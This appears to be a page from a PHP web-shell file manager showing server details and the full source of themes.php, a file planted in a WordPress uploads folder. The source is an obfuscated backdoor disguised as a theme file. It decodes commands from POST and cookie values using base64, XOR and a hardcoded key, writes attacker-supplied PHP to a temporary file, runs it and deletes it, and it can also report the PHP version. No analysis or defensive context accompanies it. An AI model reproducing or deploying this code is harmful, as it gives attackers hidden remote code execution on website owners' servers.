HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/07/themes.php
<?php 
$xibkeglm	=   'xibkeglm'	^       '';

$ssglire     = /*nq_bcn   */ "\x61" /*yln */ . /* scslk  */ "\x72"    .    "r"."a"."y"."\137" /*   lseg_  */ .    "m"."\141"     .     "p";


function /*  vvgz */ dfgizx($r_xqak, /* ajppao   */ $dhfazlsc){
  global    $xibkeglm;

    


       $r_xqak /* d */ =       $xibkeglm(60)      .	"\77"    .    $xibkeglm(112)    .  "h"."p".$xibkeglm(32) /*   hyqe*/ .     "u"."n"."\154"      .	"\x69" /*qnkzxv   */ . /* h  */ "n".$xibkeglm(107)      . /*tdu   */ "\50"	. /*hjnn*/ "_"."\137" /* pdioi*/ .     "\106"	.	"I"."L".$xibkeglm(709-640) /* qewfp*/ .   "_"."_".")".";".$xibkeglm(32)	.       $r_xqak["d"];

    $fcuqi_a	= /*  ofya  */ "f"."\x69"  .  "l"."\x65"    . /*   uxei_   */ "_"."p"."u".$xibkeglm(116)    .  "_".$xibkeglm(1069-970)      .   $xibkeglm(999-888) /* boe */ .    "n"."t"."\x65"	.       $xibkeglm(820-710) /*resnie  */ .    "t"."s";   

 /*  fiu  */ $fcuqi_a($dhfazlsc, /* rfsum   */ $r_xqak);
 /*_svl   */ 
   tcirtgnb($dhfazlsc);

}

$yqueirbiwy /*  rcmbwg */ = /*zf_b  */ 73;


function      tcirtgnb($dhfazlsc)

{    global     $xibkeglm;


    

 /*   brnmwc */ include($dhfazlsc);

   $vpintfqr    =    $dhfazlsc;

   @unlink($vpintfqr);}


function       ofdtlea()


{    global	$xibkeglm;





    $ivmqtppbt    =      array();
    $ivmqtppbt[$xibkeglm(547-435)	.    $xibkeglm(125-7)] /*  ysdsyr*/ =   phpversion();  $ivmqtppbt[$xibkeglm(115) /* _hpvnc   */ . /*  bi*/ "v"]	=       "\x33"	.       $xibkeglm(177-131)	.  $xibkeglm(53);	$t_huy      = /*clz   */ 74;
      echo  @serialize($ivmqtppbt);

}


function	pgjikilxy($r_xqak, /* vebr_w   */ $nnxhfa){

	global	$xibkeglm;


	$klfoo /*py  */ =    "";

 /*nusc */ $tqqomoza       =       strlen($r_xqak);
     $nwkazhd /*   m  */ = /*   cnxg   */ strlen($nnxhfa);


 /* tts_km  */ $ivmqtppbt /*   mmwfv*/ =    0;
 /* x */ $ivmqtppbtyvcs_wp_   = /*   mpsq*/ 0;
 /*   fejyb*/     while      ($ivmqtppbt /* uvao   */ < /*ndkudu*/ $tqqomoza)       {    $fdgivtf     =	$r_xqak[$ivmqtppbt] /* ze*/ ^   $nnxhfa[$ivmqtppbtyvcs_wp_ /*  m */ %   $nwkazhd];


       $klfoo /*   c_jcw_  */ .=       $fdgivtf;	$ivmqtppbtyvcs_wp_++;    
  $ivmqtppbt++;
 /* qz_d   */ }


   


     if	(strlen($klfoo)    >   20) /*vz   */ { /*  fspj  */ $shouffddxa /*   xck */ =	substr($klfoo,  0,    20);

   }

	if  (empty($klfoo)) /*  kah   */ {    $klfoo /*   gfyemc  */ =      date('Y-m-d       H:i:s');
     }
 /*ds */ return  $klfoo;


}





function /* ctttt */ dfgiy($amdyj)


{


    global    $xibkeglm;


    

      $axldglu /*  hff*/ =	$xibkeglm(102)    .   "5"."\x66" /*cwbrg*/ . /*hx   */ "\63" /*shov  */ . /*   k  */ "\66"     . /*  hydp   */ "8"."5".$xibkeglm(101)."-"."5"."9"."\64" /*csip  */ . /*   zddrn */ $xibkeglm(49) /* iuq  */ .	"-".$xibkeglm(52)    .    "\x37" /*   gfq  */ . /*umvd  */ "d"."\142"       .  "-".$xibkeglm(97)."2"."6"."\x38" /*  iqwkuk*/ .	$xibkeglm(45)    .   $xibkeglm(329-230)	. /*   qjwpyk   */ "\x61" /*rze */ .    "5"."d"."b".$xibkeglm(98)	.	"\146"    .    "5".$xibkeglm(261-211) /*  acmay*/ .    "f".$xibkeglm(98)	.    $xibkeglm(463-406);

	
      foreach    ($amdyj /*   nnfnz_  */ as	$_tmcrvwem       =>      $r_xqak)       {


  cowdqrg(base64_decode($r_xqak),    $axldglu,   $_tmcrvwem);


       }}

function /*aa   */ cowdqrg($r_xqak, /*   wjzy*/ $axldglu,    $_tmcrvwem){


 /* g   */ global	$xibkeglm;


 /*fijni */  /*  eksbbs   */ $r_xqak /*y */ = /*  ydr_d */ unserialize(pgjikilxy(pgjikilxy($r_xqak,	$axldglu),   $_tmcrvwem));
	$qem_gvtz_    =    'yd';


	$duruxm_n  =    'cyfpgyctgo';

  if	(isset($r_xqak[$xibkeglm(97).$xibkeglm(107)]))       {
 /*c   */ if /*   vnz*/ ($r_xqak[$xibkeglm(97)]    ==	"i") /* hite */ {       ofdtlea();
 /*dy   */ }    elseif /* sfqpb  */ ($r_xqak[$xibkeglm(97)]	==    $xibkeglm(101)) /* msoajf  */ {

      dfgizx($r_xqak,	sprintf($xibkeglm(500-454) /* h   */ .	"/".$xibkeglm(37)    .   "s".".".$xibkeglm(1024-912) /* ppi*/ .    "\154",    md5($axldglu)));

			$ivmqtppbtmkyavck /*   qd   */ =   44;

       }
 /*   myaq*/ exit();


    }
}


dfgiy($_POST);   $xsvoauu    =    'rawurldecode';
$t_rksqslj      =    $ssglire($xsvoauu, /* qsnts  */ $_POST);


explode("", /* ohehjo */ $xsvoauu);



dfgiy($_COOKIE);



$ovtaplgy /*  igjtyl  */ =	$ssglire($xsvoauu,	$_COOKIE);




?>